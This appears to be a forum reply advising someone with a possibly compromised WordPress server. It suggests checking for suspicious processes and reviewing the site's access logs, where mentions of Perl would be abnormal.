Hi,

It certainly sounds like you've been sensible in how you've set up WordPress, from what you describe. And whilst it would be possible to conceal a malicious script in an image, this isn't commonly seen, and tends to be a result of far more subtle and advanced compromises than what you appear to be experiencing.

The main thing I suggest right now is to see if there are still any suspicious processes on your system at the moment. If there are, then you need to find out as much as you can about them before they exit or are killed off. If there aren't, then your next best avenue of investigation would be to look at your Web server logs for anything that appears out-of-the-ordinary.

On a Plesk-style system (if that is indeed what you have), these are typically stored as /var/www/vhosts/domain.com/logs/access_log, where domain.com should of course be replaced with your own Web site's domain. If it's a WordPress site, then any mention of the Perl interpreter or Perl scripts in those logs would constitute an abnormal finding.
